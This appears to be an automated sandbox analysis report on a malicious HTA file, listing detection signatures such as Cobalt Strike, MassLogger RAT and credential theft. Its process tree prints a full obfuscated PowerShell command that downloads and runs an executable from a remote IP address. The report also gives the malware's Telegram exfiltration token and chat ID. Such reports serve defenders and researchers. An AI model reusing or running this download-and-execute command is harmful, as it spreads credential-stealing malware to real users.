Windows
Analysis Report
needagoodplanforsuccesstogetbackbest.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6964 cmdline:
mshta.exe "C:\Users\ user\Deskt op\needago odplanfors uccesstoge tbackbest. hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 5064 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwErs HeLl.exe -eX bYPas S -N OP - w 1 -C DEVIC EcrEDeNtIa LDePLoyMEn t ; iEx( $(IEX('[SY stEM.TEXT. encOdInG]' +[ChaR]0x3 a+[CHAR]0X 3A+'UtF8.g eTsTRinG([ SyStEm.Con Vert]'+[cH Ar]0x3a+[C haR]58+'fr OmBAsE64st riNg('+[CH ar]34+'JEd hICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQWRkLXR ZUGUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W1lTUJlcmR FRmlOSXRpb 24gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJ1t EbGxJbXBvc nQoInVyTE1 vbiIsICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI ENoYXJTZXQ gPSBDaGFyU 2V0LlVuaWN vZGUpXXB1Y mxpYyBzdGF 0aWMgZXh0Z XJuIEludFB 0ciBVUkxEb 3dubG9hZFR vRmlsZShJb nRQdHIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gZ1dRaXBNR EdkcixzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga mdrLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBFa XpjTUh2dkJ aLHVpbnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgcixJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR Sk7JyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tbkFtRSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAiVEdORG9 HcUNLRyIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLU5BTUV TUEFjRSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBWR1ZhbyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtUGFzc 1RocnU7ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICRHYTo6V VJMRG93bmx vYWRUb0Zpb GUoMCwiaHR 0cDovLzIzL jk1LjIzNS4 yOC8xMjAvY 3Nvc3MuZXh lIiwiJEVOd jpBUFBEQVR BXGNzb3NzL mV4ZSIsMCw wKTtzVGFyV C1zbEVFcCg zKTtJblZvS 0UtaXRFTSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiJEVOd jpBUFBEQVR BXGNzb3NzL mV4ZSI='+[ cHar]0x22+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 4508 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 5308 cmdline:
POwErsHeLl .exe -eX bYPasS -NOP -w 1 -C DEVICEcr EDeNtIaLDe PLoyMEnt ; iEx($(I EX('[SYstE M.TEXT.enc OdInG]'+[C haR]0x3a+[ CHAR]0X3A+ 'UtF8.geTs TRinG([SyS tEm.ConVer t]'+[cHAr] 0x3a+[ChaR ]58+'frOmB AsE64striN g('+[CHar] 34+'JEdhIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgID0gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg QWRkLXRZUG UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLW1l TUJlcmRFRm lOSXRpb24g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJ1tEbG xJbXBvcnQo InVyTE1vbi IsICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIENo YXJTZXQgPS BDaGFyU2V0 LlVuaWNvZG UpXXB1Ymxp YyBzdGF0aW MgZXh0ZXJu IEludFB0ci BVUkxEb3du bG9hZFRvRm lsZShJbnRQ dHIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgZ1 dRaXBNREdk cixzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgamdr LHN0cmluZy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBFaXpj TUh2dkJaLH VpbnQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg cixJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgRSk7 JyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbk FtRSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi VEdORG9HcU NLRyIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU5BTUVTUE FjRSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBW R1ZhbyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AtUGFzc1Ro cnU7ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC RHYTo6VVJM RG93bmxvYW RUb0ZpbGUo MCwiaHR0cD ovLzIzLjk1 LjIzNS4yOC 8xMjAvY3Nv c3MuZXhlIi wiJEVOdjpB UFBEQVRBXG Nzb3NzLmV4 ZSIsMCwwKT tzVGFyVC1z bEVFcCgzKT tJblZvS0Ut aXRFTSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AiJEVOdjpB UFBEQVRBXG Nzb3NzLmV4 ZSI='+[cHa r]0x22+')) ')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 6844 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\43swuu3x \43swuu3x. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 4932 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SC5CF.tmp" "c:\Users \user\AppD ata\Local\ Temp\43swu u3x\CSC170 6E7A7601C4 43B9125CD5 A3AB1B1B7. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) csoss.exe (PID: 6740 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csoss.exe " MD5: 54DE0C8E192E7BC71B6D284FFF136296) RegSvcs.exe (PID: 5484 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csoss.exe " MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |